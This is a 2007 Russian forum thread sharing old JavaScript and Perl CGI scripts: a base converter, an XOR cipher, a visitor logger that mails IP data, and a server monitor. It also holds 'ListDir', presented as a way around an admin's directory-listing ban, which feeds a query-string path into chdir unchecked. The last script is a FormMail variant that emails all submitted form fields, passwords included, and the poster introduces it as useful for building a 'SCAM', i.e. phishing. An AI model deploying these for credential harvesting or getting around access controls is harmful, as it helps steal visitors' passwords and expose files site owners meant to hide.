// Convert from decimal to specified base
/////////////////////////////////////////
function toBase(num, base) { var newNum = (num == 0) ? "0" : "" while (num >= 1) { newNum = getDigit(num % base) + newNum num = div(num, base) } return newNum }
// Convert from specified base to decimal
/////////////////////////////////////////
function toDec(num, base) { if (base == 8) return parseInt("0" + num) if (base == 16) return parseInt("0x" + num) num = "" + num
// convert to string by casting
var numLength = num.length
// the length property returns the length of a string var newNum = 0
// initialization
// (must be 0 so the sum is not affected) var curDigit = "" var contributedValueValue = 0 for (var i = numLength - 1; i >= 0; --i) { curDigit = num.charAt(i) contributedValue = getValue(curDigit) contributedValue *= power(base, numLength - (i + 1)) newNum += parseInt(contributedValue) } return newNum }
// Main function that accepts input and
// calls appropriate functions
/////////////////////////////////////////
function convert(num, base1, base2) {
if (typeof num == "string")
num = num.toUpperCase() if (base1 == base2) return num if (base1 == 10)
return toBase(num, base2) if (base2 == 10) return toDec(num, base1) return toBase(toDec(num, base1), base2) }
// Create a conversion table
/////////////////////////////////////////
function drawTable(lastNum) { with (document) { lastNum = parseInt(lastNum) write("<TABLE BORDER=3>") write("<TR><TD COLSPAN=8><CENTER><FONT COLOR=purple SIZE=+4>") write("Base Converter</FONT></CENTER></TD></TR>")
write("<TR>")
for (var k = 2; k <= 16; k = k + 2) { write("<TD><CENTER> Base " + k + "
</CENTER></TD>") }
write("</TR>")
for (var i = 0; i <= lastNum; ++i) { write("<TR>")
for (var j = 2; j <= 16; j = j + 2) { write("<TD>" + toBase(i, j) + "</TD>") } write("</TR>") } write("</TABLE>") } }
// Gets table's input
/////////////////////////////////////////
function getTableAttributes() {
var message = "Enter last number to be converted in the table" var lastNum = parseInt(prompt(message, 15))
if (lastNum != 0)
drawTable(lastNum) }
// Convert individual numbers, until the
// user selects cancel on the first
// prompt of the loop
/////////////////////////////////////////
function calcNum() { while(1) {
var number = prompt("Enter a number in any base:", 0)
if (number == null) break var base1 = prompt("Enter its base:", 10) if (base1 == null) continue base1 = parseInt(base1) var base2 = prompt("Enter the desired base:", 16) if (base2 == null) continue base2 = parseInt(base2) var outputString = number + " (base " + base1 + ") = " outputString += convert(number, base1, base2) outputString += " (base " + base2 + ")" alert(outputString) } }
// Ask user for conversion device
// (T-table, I-individual values)
/////////////////////////////////////////
function mainInput() { var message = "Enter (T) to create a table or (V) to " message += "calculate a value"
var chosenDevice = prompt(message, "T") if (chosenDevice == "T" || chosenDevice == "t") getTableAttributes() else if (chosenDevice == "V" || chosenDevice == "v") calcNum() else alert("Goodbye!") } mainInput()
// end hiding content -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>

Кодировщик-перекодировщик

<HTML>
<HEAD>
<TITLE>Enciphering</TITLE>
<SCRIPT LANGUAGE="JavaScript">
<!--
// Copyright (c) 1996-1997 Tomer Shiran. All rights reserved. // Permission given to use the script provided that this notice remains as is.
// Additional scripts can be found at http:
//www.geocities.com/~yehuda/
// create list of valid characters var list = "0123456789abcdefghijklmnopqrstuvwxyz._~ABCDEFGHIJK LMNOPQRSTUVWXYZ" function encipher() {
// prompt user for string
var str = prompt("Enter string:", "")
// terminate function if user selects CANCEL if (!str) return
// check that each character of input string is valid
for (var i = 0; i < str.length; ++i) {
if (list.indexOf(str.charAt(i)) == -1) { alert("script terminated -- invalid character found") return } }
// prompt user for key
var key = prompt("Enter key (1-63):", "")
// terminate function if user selects CANCEL if (!key) return
// convert key to integer (number)
key = parseInt(key)
// alert enciphered string
alert(encode(str, key)) }
function encode(str, key) {
// initialize accumulative string variable
var code = ""
// encipher all characters
for (var i = 0; i < str.length; ++i) {
var ind = list.indexOf(str.charAt(i))
var converted = list.charAt(ind ^ key) code += converted }
// return enciphered value return code } encipher()
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>

REDsaratov
11.06.2007, 01:39
Этот скрипт сохраняет информацию о посетителях вашего сайта (дата, время,host name, IP-адрес и т.д.),затем он отсылает вам эту информацию по E-mail.

#! /usr/local/bin/perl


# mail-log.cgi
#
# Version 2.03 -- 27 Jan 1997
# http://www.all-yours.net/scripts/
# Perl (release 4 or 5) script for Unix servers


# Written by Walter Soldierer of All-Yours Internet Solutions
# (hermes@all-yours.net), one of the authors of
#
# THE DIGITAL POSTCARD
#
# A FREE service to increase your web site's exposure!
# Need more hits?
# Check it out at http://www.all-yours.net/postcard/


# This script saves access date+time, the visitor's host name, their IP
# address and browser type, and the refering page (if any) to a log file
# on your server (default name = logfile.txt). This file will be automatically
# mailed to your mailbox. You can change the mailing interval according
# to your needs (default value is every 50 accesses to the page to be
# logged). The script will autocreate the logfile, if it does not exist.


# ----- BEGIN INSTALLATION INSTRUCTIONS -----
# - Save this script to a file mail-log.cgi
# - Cut installation instructions (optional)
# - Change the first script line, if your server's Perl executable
# is not located in /usr/local/bin/perl
# - Customize the settings below (*SETTINGS*)
# * Change e-mail address for $recipient
# * Set $log_page to 1 if you also want to log the page that
# called this script. Recommended in case you want to log accesses
# to more than one HTML page.
# * Set $max_entries to your needs, if you want to have more or less
# than 50 log entries mailed to your mailbox each time.
# * Change path/filename for log file, if necessary
# (default = logfile.txt in your cgi directory)
# * Change values for $check_host and $interval, if necessary
# * Change filename for host/time file, if necessary (default = hosttime.txt)
# - ASCII-upload mail-log.cgi to your cgi directory (cgi-bin, cgi-local...)
# Make it executable (chmod mail-log.cgi 755)
# - add the following line (Server Sde Include) to the page(s) to be logged
# (after the <body> tag):
# <!--#exec cgi="/your-cgi-directory/mail-log.cgi"-->
# HTML pages with Server Side Include tags often need to have the
# file extension ".shtml" !!!! (don't forget to update
# all links to this page(s) accordingly)
# (You should test the script with a test.shtml page first)
# - Load the logged page(s) with your browser.
# - View your new logfile
# It should look something like this:
#
# Time: 05/30/96 14:44:07 EDT
# Host: your.host.and.domain
# Addr: 123.45.67.89
# With: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)
# Page: test.shtml
# From: [no entry here, if you accessed your page directly (otherwise Yahoo etc.)]
#
# If the script doesn't work and you want to contact us, please check
# the following first:
# - did you upload the script in ASCII mode (*not* binary)?
# - did you chmod the script 755
# - does your server support the "exec cgi" Server Side Include?
# - did you rename the html file to .shtml
# - did you check the path to your server's Perl executable?
#
# If you still have a problem and you want us to help you, we need to know:
# - a detailed description of your problem
# - your script's settings section
# - html code and file name for the page to be logged
# - script related error messages from your server's error log file
# ----- END INSTALLATION INSTRUCTIONS -----



# -----------------------------------------------------------------------
# *SETTINGS* to customize this script:

# Your email address (within single quotes!):
$recipient = 'xxxx@yyyy.com';

# Do you want to log the .shtml page's file name?
# (recommended when more than one poage is logged)
# 1 = the .shtml page that called this script will be logged
# 0 = the .shtml page that called this script will not be logged
$log_page = 1;

# Do you want to log your visitor's IP number?
# The script attemps to call a domain name server in order to resolve
# IP addresses (such as 132.45.323.5) to a host name (such as yourdomain.com)
# However, resolving IP addressses doesn't work 100 per cent so you
# might also want to log rhe IP addresses.
# 1 = IP addresses will be logged
# 0 = IP addresses will be discarded
$log_IP = 1;

# Number of logged visits mailed to your mailbox at a time:
$max_entries = 50;

# Change logfile name if necessary:
$logfile = 'logfile.txt';

# server's sendmail directory:
$mailprogam = '/usr/lib/sendmail';

# If you set $check_host = "1" the script attempts not
# to log multiple page reloads.
# When a page was accessed from the same host by using the same
# browser, this visit will only be logged after the time
# interval specified in $interval.
# Example: You set $interval to 1800 (seconds). If there was no
# access from a different host in the meantime, a visitor from the
# same host who uses the same browser will only be logged when s/he
# accesses your page 30 minutes after visitor one.
# In other words: If someone reloads the page many times, in most cases
# s/he needs to wait 30 minutes after each reload to make your log file
# grow. When you set $check_host to 0 even the reloads will be logged.
$check_host = 1; # set to zero if you don't like this feature

# If you set the $check_host variable to 1, specify a time interval to
# ignore page reloads
$interval = 600; # seconds!

# If you set the $check_host variable to 1, change the name of the file
# that temporarily stores host and time information (if necessary)
$hostfile = 'hostfile.txt';




# don't change anything past this line unless you know what you are doing
# -----------------------------------------------------------------------

# create a date+time string
$shortdate = `date +"%D %T %Z"`;
chop ($shortdate);

# Some of Perl's network info functions required here
($part1,$part2,$part3,$part4)=split(/\./,$ENV{REMOTE_ADDR});
$IP_adr=pack("C4",$part1,$part2,$part3,$part4);
($host_name)=(gethostbyaddr("$IP_adr", 2));

print "Content-type: text/plain\n\n";

if ($check_host) {
# read host and time info from last visitor
if (-e "$hostfile") {
open(HOST,"$hostfile");
$hostline = <HOST>;
chop($hostline) if $hostline =~ /\n$/;
close(HOST);
($old_time,$old_number,$old_page,$old_browser) = split(/\|/,$hostline);
}

# save host and time info and check if this is a page reload
open(HOST,">$hostfile");
$seconds = time;
print HOST "$seconds\|$ENV{REMOTE_ADDR}\|$ENV{'DOCUMENT_URI'}\ |$ENV{'HTTP_USER_AGENT'}";
close(HOST);

if (time - $old_time < $interval
&& $ENV{REMOTE_ADDR} eq $old_number
&& $ENV{'DOCUMENT_URI'} eq $old_page
&& $ENV{'HTTP_USER_AGENT'} eq $old_browser) {
exit; # probably same visitor, so exit
}
}

# open log file for output and append new log data
open (LOGFILE, ">>$logfile");
print LOGFILE "Time: $shortdate\n";
print LOGFILE "From: $ENV{'HTTP_REFERER'}\n";
print LOGFILE "IP : $ENV{REMOTE_ADDR}\n" if $log_IP;
print LOGFILE "Host: $host_name\n";
print LOGFILE "With: $ENV{'HTTP_USER_AGENT'}\n";
print LOGFILE "Page: $ENV{'DOCUMENT_URI'}\n" if $log_page;
print LOGFILE "\n";
close (LOGFILE);

# open log file for input and count log entries
open (LOGFILE, $logfile);
@entries = <LOGFILE>;
close (LOGFILE);
$log_rows = 7;
$log_rows-- unless $log_page;
$log_rows-- unless $log_IP;
$log_count = @entries/$log_rows;

# if number of logs >= max. number of logs, mail file and delete it
if ($log_count >= $max_entries) {
open (MAIL, "|$mailprogam $recipient") || die "Can't open $mailprogam!\n";
print MAIL "Subject: Mail-log File\n\n";
print MAIL "@entries\n";
close MAIL;

unlink $logfile;
}

# end of script



Скрипт выполняет множество функций для администрирования Unix сервера.

#!/usr/bin/perl5
#
# +---------------------------------------------------------------------+
# | sysdaemon |
# | Written By : Trans-Euro I.T Ltd |
# | Written On : July 27th 1997 |
# | |
# | Purpose System monitor |
# | Reads the contents of :- |
# | /usr/local/etc/sysdaemon/daemontab |
# | the daemon names present are scanned for the results |
# | being written back to :- |
# | /var/log/sysmon.REPORT |
# | If a failure occurs the appropriate support team are |
# | contacted by email.. also if any filestore partition |
# | reaches 99%, a pager message can also be sent. |
# | This daemon replaces sysmon, which was written in |
# | korn shall/bash. |
# | On recieving a kill -HUP signal the daemon will |
# | re-read its config file. |
# | The definable nature of this daemon means... |
# | There is NO user changeable code. |
# +---------------------------------------------------------------------+
# | (c) 1997 This script is the intellectual property of |
# | Trans-Euro I.T Ltd |
# +---------------------------------------------------------------------+
use Config;

$VERSION="1.40";
$PROGRAM="sysdaemon";

$hup=0;

$pidfile="/var/run/sysdaemon.pid";
$tab="/usr/local/etc/sysdaemon/daemontab";
$report="/var/log/sysmon.REPORT";
$date=get_date();
$time=get_time();
$node=`uname -n`;
$daemon_name="";
$status="";
$work1="/tmp/sysdaemon1.$$";
$work2="/tmp/sysdaemon2.$$";
$mailprog='/usr/sbin/sendmail';
$support="support\@svr1.marketrends.net";
$filesystem="";
$capacity="";
$fstat="";

@daemontable="";
@proc="";
@fstab="";

format SYSDAEMON =
@<<<<<<<<<<<<<<<<<< : daemon is @<<<<<<<<<<<<<<<<<<<<<<<<:Status is @<<<<
$time $daemon_name $status
.

format SYSDAEMONHUP =
@<<<<<<<<<<<<<<<<<< : HUP re-reading @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
$time $tab
.

format SYSDAEMONFS =
@<<<<<<<<<<<<<<<<<< : @<<<<<<<<<<<<<<<<<<< : @<<<< : @<<<<
$time $filesystem $capacity $fstat
.

unless ( -s "$tab") { die "$tab is either missing or empty !!\n";}

read_daemontab();

unless (fork) {
unless (fork) {
sleep1 until getppid == 1;

# +---------------------------------------------------------------------+
# | Main Daemon control loop |
# +---------------------------------------------------------------------+

write_pid();
write_report_header();

while ( ! $daemon_control) {

# +---------------------+
# | Catch signals here! |
# +---------------------+

$SIG{HUP} = \&hup;
if ($hup) { read_daemontab();$hup=0;}

# +---------------------+
# | main process loop |
# +---------------------+

$SIG{HUP} = \&hup;

$date=get_date();
$time=get_time();
gather_process_info();
scan_process();
check_filestore();

unlink($work1);
unlink($work2);
sleep 300;
}

exit 0;
}
exit 0;
}

# +---------------------------------------------------------------------+
# | Sub programs |
# +---------------------------------------------------------------------+

sub hup {
$hup=1;
}

# +---------------------------------------------------------------------+

sub read_daemontab {

if ($hup eq "1") { log_hup();}

open(T,"$tab") || die "Cannot open $tab!\n";
@daemontable=<T>;
close(T);

foreach $EOF (@daemontable) {
$_=$EOF;
s/\012//g;
$EOF=$_;}
}

# +---------------------------------------------------------------------+

sub write_pid {
open(PID,">$pidfile") || die "Cannot open $pidfile!!\n";
print PID $$;
close(PID);
}

# +---------------------------------------------------------------------+

sub get_date {
my $date=`date`;
$_=$date;
s/\012//g;
$date=$_;
return $date;
}

# +---------------------------------------------------------------------+

sub write_report_header {
open(REP,">$report")|| die "Cannot open $report!!\n";
print REP "--------------------------------------------------------\n";
print REP "$PROGRAM : $VERSION starts at $date\n";
print REP "Trans-Euro I.T (c) 1997.\n";
print REP "Written by Stephen Martin\n";
print REP "--------------------------------------------------------\n";
close(REP);
}

# +---------------------------------------------------------------------+

sub get_time {
my $time=`date +"%D : %T"`;
$_=$time;
s/\012//g;
$time=$_;
return $time;
}

# +---------------------------------------------------------------------+

sub gather_process_info {
open(WORK1,"|ps -ax > $work1")|| die "Cannot gather process info!\n";
close(WORK1);
open(WORK1,"$work1")|| die "Cannot read process workfile!\n";
@proc=<WORK1>;
close(WORK1);
}

# +---------------------------------------------------------------------+

sub scan_process {
foreach $dproc (@daemontable){
($daemon,$daemon_name)=split(/:/,$dproc);
if ( grep /$daemon/, @proc ) {log_daemon_status("$daemon_name","up");}
else { log_daemon_status("$daemon_name","down");
mail_support("$daemon_name");}
}

}

# +---------------------------------------------------------------------+

sub log_daemon_status {
my ($daemon_name,$state) = @_;
$status=$state;
open(SYSDAEMON,">>$report")|| die "Cannot log results to $result!\n";
write SYSDAEMON;
close(SYSDAEMON);
}

# +---------------------------------------------------------------------+

sub log_hup {
open(SYSDAEMONHUP,">>$report")|| die "Cannot log HUP call to $result!\n";
write SYSDAEMONHUP;
close(SYSDAEMONHUP);
}

# +---------------------------------------------------------------------+

sub mail_support {

my ($d_name) = @_;

$d_name;

open (MAIL, "| $mailprog $support") || die "Can't open $mailprog!\n";
print MAIL "To: $support\n";
print MAIL "From:$PROGRAM\n";
print MAIL "Subject:$PROGRAM : $d_name failure\n";
print MAIL "------------------------------------------------------\n\n";
print MAIL "$PROGRAM has detected $d_name missing on $node";
close (MAIL);
}

# +---------------------------------------------------------------------+

sub check_filestore {
local $line,$d1,$d2,$d3,$d4,$fs;
open(DF,"|df > $work2")||die "Cannot df!\n";
close(DF);

open(DFW,"$work2")||die "Cannot open $work2!\n";
while(<DFW>) {
@fstab=<DFW>;
}
close(DFW);

foreach $line (@fstab) {
($d1,$d2,$d3,$d4,$lim,$fs)=split(/\ {1,}/,$line);
if ( $lim gt "98%" ) {
log_fs("$fs","$lim","Full");
mail_support_fs("$fs","$lim","Full");
} else { log_fs("$fs","$lim","Ok")};
}

}

# +---------------------------------------------------------------------+

sub log_fs {
my ($l1,$l2,$l3) = @_;
$fstat="$l3";
$filesystem=$l1;
$capacity=$l2;
open(SYSDAEMONFS,">>$report") || die "Cannot open $report to log fs full\n";
write SYSDAEMONFS;
close(SYSDAEMONFS);
}

# +---------------------------------------------------------------------+


sub mail_support_fs {

my ($l1,$l2,$l3) = @_;
$fstat="$l3";
$filesystem=$l1;
$capacity=$l2;

open (MAIL, "| $mailprog $support") || die "Can't open $mailprog!\n";
print MAIL "To: $support\n";
print MAIL "From:$PROGRAM\n";
print MAIL "Subject:$PROGRAM : Filestore $node Full $filesystem\n";
print MAIL "------------------------------------------------------\n\n";
print MAIL "$PROGRAM has detected that the filesystem $filesystem";
print MAIL "on $node has become full.\n";
print MAIL "$filesystem is currently at $capacity.\n";
close (MAIL);
}

REDsaratov
11.06.2007, 01:54
ListDir v1.0 Листинг содержимого псевдокорневой директории и поддиректорий на вашем сайте. Обычно помогает при 403 ошибке: "Forbidden. You don't have permission to access /~user/dir/ on this server." т.е. когда админ запретил пользователям просмотр содержимого web директорий возможно в целях повышения security.

#!/usr/bin/perl

###################
# #
# ListDir v1.0 ######################
# #
################ Benvolio mindcrimer #
# #
#########################

# klassno, vy polezli v ishodniki..
# zna4it, ya tak polagayu, eto vam za4em-to ponadobilos'
# tak vot, eto delo pisalos' s boduna i za 1 ve4er
# koro4e v kode sam 4ert nogu slomit, nikakoj struktury, vse v kashu
# sej skript real'no primenyaetsya(lsya) na
# http://dezcom.mephi.ru/~jerry/download/listdir.cgi i vrode dazhe rabotal :)
# esli ne len' - mozhete zajti na moyu strani4ku
# http://dezcom.mephi.ru/~jerry/
# ili mozhno potrepat'sya po as'ke: 16455534
# vsego samogo! vash eugene a. jerusalimov aka benvolio mindcrimer :)
# p.s. es4e mozhno primenyat' index.shtml: <!--#include virtual="listdir.cgi" -->

$cvalue=""; $command="";
$envstring="$ENV{'QUERY_STRING'}";
($command,$cvalue)=split('=',$envstring);
print "Content-type: text/html\n\n";
print "<html><head><title>ListDir v1.0 by Benvolio mindcrimer</title>
<meta name=\"author\" content=\"Eugene A. Jerusalimov\"></head><body>\n";
@sp=split('\/',$ENV{'SCRIPT_NAME'});
foreach(@sp) { chomp; $sn=$_; }
print "<table><tr><td>ListDir v1.0: Browsing the directory <b><a href=\"$sn\">/</a>$cvalue</b></td></tr></table><table>\n";
if($command=="subdir" || $cvalue ne "") { chdir($cvalue); }
open(FILES,"/bin/ls |");
@files=<FILES>;
foreach(@files)
{
chomp;
($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size,$ati me,$mtime,$ctime,$blksize,$blocks) = stat;
@sp=split('\/');
foreach(@sp) { chomp; }
$fsz=int $size/1024;
$sep="";$subdir="";
($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isd st) = gmtime($mtime);
if($mday<10) { $mday="0$mday"; }
$mon++;
if($mon<10) { $mon="0$mon"; }
$date="$mday.$mon.$year";
if($min<10) { $min="0$min"; }
if($hour<10) { $hour="0$hour"; }
$time="$hour:$min";
$octmode=(sprintf("%lo",$mode)%1000);
if($cvalue ne "") { $sep="/"; }
if($nlink==1) { ($z,$afext)=split('\.'); $fsize="$fsz"."k"; } else { $afext="dir"; $fsize="---"; $subdir="?subdir=$cvalue$sep$_"; }
if($_ ne $sn) { print "<tr><td>$afext</td><td>";
if($nlink==1) { print "<a href=\"$cvalue$sep$_\">$_</a>"; } else { print "<a href=\"$sn$subdir\">$_</a>"; }
print "</td><td>$octmode</td><td>$fsize</td><td>$date</td><td>$time</td></tr>\n"; }
}
print "</table><br><table><tr><td>Copyright <a href=\"http://dezcom.mephi.ru/~jerry/\">Benvolio mindcrimer</a> 1999.</td></tr><tr><td>If you want to get a copy of this script simply <a href=\"mailto:jerry\@dezcom.mephi.ru?subject=listdir.cgi\">mail me</a>.</td></tr></table></body></html>\n";
# (c) eugene a. jerusalimov aka. benvolio mindcrimer

полезные скрипт для рисовки СКАМА
(Этот скрипт пересылает данные с формы, заполненные посетителями Вашего сервера. В форме могут быть обозначены любые типы полей, такие, например, как текстовые, парольные (password), checkbox и т.д. Форма создается Вами и может иметь любое количество полей.)
#!/perl/bin/perl
################################################## ###########################
# Возвратная форма #
# Написана Андреем Юриным 22.09.98 #
# ################################################## #########################
# WWW.SCRIPT.RU #
# ################################################## #########################
# Этот скрипт является частью коллекции скриптов сервера www.script.ru #
# Свои пожелания и/или предложения присылайте на andrey@script.ru #
################################################## ###########################


##################################################
# Определение переменных: #
##################################################
# Настоящий путь к программе отсылки e-mail
$mailprog = '/usr/sbin/sendmail';




#Алфавиты кодировок
$tbl_alt="*ЎўЈ¤Ґ¦§Ё©Є«¬*®Їабвгдежзий млкноп";
$tbl_koi="БВЧЗДЕЦЪЙКЛМНОПРТУФХЖИГЮЫ ЭШЩЯЬАСбвчздецъйклмнопрту фхжигюыэшщяьас";
$tbl_win="абвгдежзийклмнопрстуфхцчш щьыъэюяАБВГДЕЖЗИЙКЛМНОПРС ТУФХЦЧШЩЬЫЪЭЮЯ";
$win_koi="/".$tbl_win."/".$tbl_koi."/";
$win_alt="/".$tbl_win."/".$tbl_alt."/";



#
&get_date;

# Считать данные формы
&parse_form;

# Проверить все ли необходимые поля заполнены
&check_required;

# Return HTML Page or Redirect User
&return_html;

# отсылка e-mail
&send_mail;


################################################## ###############
# Перевод даты #
################################################## ###############
sub get_date {
@days = ('Воскресение','Понедельник' ,'Вторник','Среда','Четверг',' ятница','Суббота');
@months = ('Январь','Февраль','Март','Ап ель','Май','Июнь','Июль', 'Август','Сентябрь','Октябрь' ,'Ноябрь','Декабрь');
($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isd st) = localtime(time);
if ($hour < 10) { $hour = "0$hour"; }
if ($min < 10) { $min = "0$min"; }
if ($sec < 10) { $sec = "0$sec"; }
$date = "$days[$wday], $months[$mon] $mday, 19$year в $hour\:$min\:$sec";
}



################################################## ###############
# Считывание данных формы #
################################################## ###############
sub parse_form {
if ($ENV{'REQUEST_METHOD'} eq "POST") {
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'})
} elsif ($ENV{'REQUEST_METHOD'} eq "GET") {
$buffer = $ENV{'QUERY_STRING'}
} else {
&error('request_method');
}

@pairs = split(/&/, $buffer);
foreach $pair (@pairs) {
($name, $value) = split(/=/, $pair);
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$value =~ s/<([^>]|\n)*>//g;
$value =~ s/<//g;
$value =~ s/>//g;
$value =~ s/\s/ /g;
$value =~ s/\cM\n/<br>/gi;
$value =~ s/\n/<br>/gi; # Без перевода каретки
$value =~ s/\|/\\/gi; #Без разделителей

if ($name eq 'recipient' ||
$name eq 'subject' ||
$name eq 'email' ||
$name eq 'realname' ||
$name eq 'redirect' ||
$name eq 'bgcolor' ||
$name eq 'background' ||
$name eq 'link_color' ||
$name eq 'vlink_color' ||
$name eq 'text_color' ||
$name eq 'alink_color' ||
$name eq 'title' ||
$name eq 'sort' ||
$name eq 'submit' ||
$name eq 'print_config' ||
$name eq 'return_link_title' ||
$name eq 'return_link_url' && ($value)) {
$CONFIG{$name} = $value;
} elsif ($name eq 'required') {
@required = split(/,/,$value);
} elsif ($name eq 'env_report') {
@env_report = split(/,/,$value);
} else {
if ($FORM{$name} && ($value)) {
$FORM{$name} = "$FORM{$name}, $value";
} elsif ($value) {
$FORM{$name} = $value;
}
}
}
}


################################################## ###############
# Проверка заполнения обязательных полей #
################################################## ###############
sub check_required {
foreach $require (@required) {
if ($require eq 'recipient' ||
$require eq 'subject' ||
$require eq 'email' ||
$require eq 'realname' ||
$require eq 'redirect' ||
$require eq 'bgcolor' ||
$require eq 'background' ||
$require eq 'link_color' ||
$require eq 'vlink_color' ||
$require eq 'alink_color' ||
$require eq 'text_color' ||
$require eq 'sort' ||
$require eq 'title' ||
$require eq 'print_config' ||
$require eq 'return_link_title' ||
$require eq 'return_link_url') {
if (!($CONFIG{$require}) || $CONFIG{$require} eq ' ') {
push(@ERROR,$require);
}
} elsif (!($FORM{$require}) || $FORM{$require} eq ' ') {
push(@ERROR,$require);
}
}

if (@ERROR) {
&error('missing_fields', @ERROR);
}
}


################################################## ###############
# Вывод сообщения о добавлении записи #
################################################## ###############
sub return_html {
my $bod = &body_attributes;
if ($CONFIG{'redirect'} =~ /http\:\/\/.*\..*/) {
print "Location: $CONFIG{'redirect'}\n\n";
} else {
if ($CONFIG{'title'}) {
&print_head($CONFIG{'title'}, $bod);
} else {
&print_head($CONFIG{'title'}, $bod);
}
print "<center>\n";
if ($CONFIG{'title'}) {
print "<h1>$CONFIG{'title'}</h1>\n";
} else {
print "<h1>Спасибо</h1>\n";
}
print "</center>\n";
#print "<center>Это содержимое формы, заполненой Вами и отправленной к $CONFIG{'recipient'}.<br>";
print "$date</center><p><hr size=2 width=90\%><p>\n";

if ($CONFIG{'sort'} eq 'alphabetic') {
foreach $key (sort keys %FORM) {
print "<b>$key:</b> $FORM{$key}<p>\n";
}
} elsif ($CONFIG{'sort'} =~ /^order:.*,.*/) {
$sort_order = $CONFIG{'sort'};
$sort_order =~ s/order://;
@sorted_fields = split(/,/, $sort_order);
foreach $sorted_field (@sorted_fields) {
if ($FORM{$sorted_field}) {
print "<b>$sorted_field:</b> $FORM{$sorted_field}<p>\n";
}
}
} else {
foreach $key (keys %FORM) {
print "<b>$key:</b> $FORM{$key}<p>\n";
}
}
print "<p><hr size=7 width=75%><p>\n";
if ($CONFIG{'return_link_url'} =~ /http\:\/\/.*\..*/ && $CONFIG{'return_link_title'}) {
print "<ul>\n";
print "<li><a href=\"$CONFIG{'return_link_url'}\">$CONFIG{'return_link_title'}</a>\n";
print "</ul>\n";
}
&print_end;
}
}




################################################## ###############
# Подпрограмма отправки сообщения #
################################################## ###############
sub send_mail {
foreach $i (keys %FORM) {
eval("\$FORM{$i} =~ tr".$win_koi);
}
foreach $i (keys %CONFIG) {
eval("\$CONFIG{$i} =~ tr".$win_koi);
}

eval("\$date =~ tr".$win_koi);
open(MAIL,"|$mailprog -t");
# open(MAIL, ">form");
print MAIL "To: $CONFIG{'recipient'}\n";
print MAIL "From: $CONFIG{'email'} ($CONFIG{'realname'})\n";

if ($CONFIG{'subject'}) {
print MAIL "Subject: $CONFIG{'subject'}\n\n";
} else {
print MAIL "Subject: WWW Form Submission\n\n";
}

print MAIL "***** This is free service from Land.Ru ****\n";
print MAIL "It's results of fill You form. It was ";
print MAIL "submitted by $CONFIG{'realname'} ($CONFIG{'email'}) on ";
print MAIL "$date\n";
print MAIL "---------------------------------------------------------------------------\n\n";

if ($CONFIG{'print_config'}) {
@print_config = split(/,/,$CONFIG{'print_config'});
foreach $print_config (@print_config) {
if ($CONFIG{$print_config}) {
print MAIL "$print_config: $CONFIG{$print_config}\n\n";
}
}
}

if ($CONFIG{'sort'} eq 'alphabetic') {
foreach $key (sort keys %FORM) {
print MAIL "$key: $FORM{$key}\n\n";
}
} elsif ($CONFIG{'sort'} =~ /^order:.*,.*/) {
$CONFIG{'sort'} =~ s/order://;
@sorted_fields = split(/,/, $CONFIG{'sort'});
foreach $sorted_field (@sorted_fields) {
if ($FORM{$sorted_field}) {
print MAIL "$sorted_field: $FORM{$sorted_field}\n\n";
}
}
} else {
foreach $key (keys %FORM) {
print MAIL "$key: $FORM{$key}\n\n";
}
}

print MAIL "---------------------------------------------------------------------------\n";

foreach $env_report (@env_report) {
print MAIL "$env_report: $ENV{$env_report}\n";
}
close (MAIL);
}




################################################## ###############
# Вывод сообщений об ошибках #
################################################## ###############
sub error {
my $bod = &body_attributes;
($error,@error_fields) = @_;
if ($error eq 'bad_referer') {
&print_head("Нет прав доступа");
print "<center>\n <h1>Извините, но у Вас нет прав доступа!</h1>\n </center>\n";
&print_end;
} elsif ($error eq 'request_method') {
&print_head("Не тот метод", $bod);
print "<center>\n <h1>Метод, которым была отправлена форма, не поддерживается сервером. Форма может быть отправлена только способами GET или POST</h1>\n </center>\n";
&print_end;
} elsif ($error eq 'missing_fields') {
&print_head("Вы заполнили не все поля", $bod);
print "<center>\n <h1>Вы оставили обязательные поля в форме пустыми</h1>\n </center>\n";
print "Следующие поля необходимо заполнить:<p>\n";
print "<ul>\n";
foreach $missing_field (@error_fields) {
print "<li>$missing_field\n";
}
print "</ul>\n";
print "<p><hr size=7 width=75\%><p>\n";
print "Возвратитесь в форму и попробуйте <a href=\"$ENV{'HTTP_REFERER'}\">заполнить поля</a>\n";
&print_end;
}
exit;
}



################################################## ###############
# Вывод аттрибутов тега <body> #
################################################## ###############
sub body_attributes {
my $out;
if ($CONFIG{'bgcolor'}) {
$out = $out." bgcolor=\"$CONFIG{'bgcolor'}\"";
}

if ($CONFIG{'background'} =~ /http\:\/\/.*\..*/) {
$out = $out." background=\"$CONFIG{'background'}\"";
}

if ($CONFIG{'link_color'}) {
$out = $out." link=\"$CONFIG{'link_color'}\"";
}

if ($CONFIG{'vlink_color'}) {
$out = $out." vlink=\"$CONFIG{'vlink_color'}\"";
}


if ($CONFIG{'alink_color'}) {
$out = $out." alink=\"$CONFIG{'alink_color'}\"";
}

if ($CONFIG{'text_color'}) {
$out = $out." text=\"$CONFIG{'text_color'}\"";
}
return $out;
}




################################################## ###############
# Печать HTML - заголовка #
################################################## ###############
sub print_head {
my $bod = $_[1];
print "Content-type: text/html";
print "\n\n";
print "<html><head>";
print "<title>$_[0]</title>\n";
print "</head><body $bod>\n";
print "<div align=center><table border=\"0\" cellpadding=\"0\" cellspacing=\"4\" width=\"75%\">\n";

}

################################################## ###############
# Печать HTML - конца #
################################################## ###############
sub print_end {
$rand = int rand(10000000);
print "</table></div>
<p align=center><a href=\"http://www.reklama.ru/cgi-bin/href/land?$rand\" target=\"_top\"><img src=\"http://www.reklama.ru/cgi-bin/banner/land?$rand\" alt=\"www.reklama.ru\" border=\"0\" height=\"60\" width=\"468\"></a></p>
<p align=right><font size=-1><a href=\"http://www.script.ru\">Script.Ru</a>
<br>Reconstructed for Land.Ru<br>&copy; 1998 <a href=\"mailto:andrey\@script.ru\">Андрей Юрин</a>
<br>Create by<br>&copy; 1996 <a href=\"http://www.worldwidemart.com/scripts/formmail.shtml\">Matt Wright</a>
</font></p></body></html>\n";
}

-=lebed=-
24.06.2007, 22:13
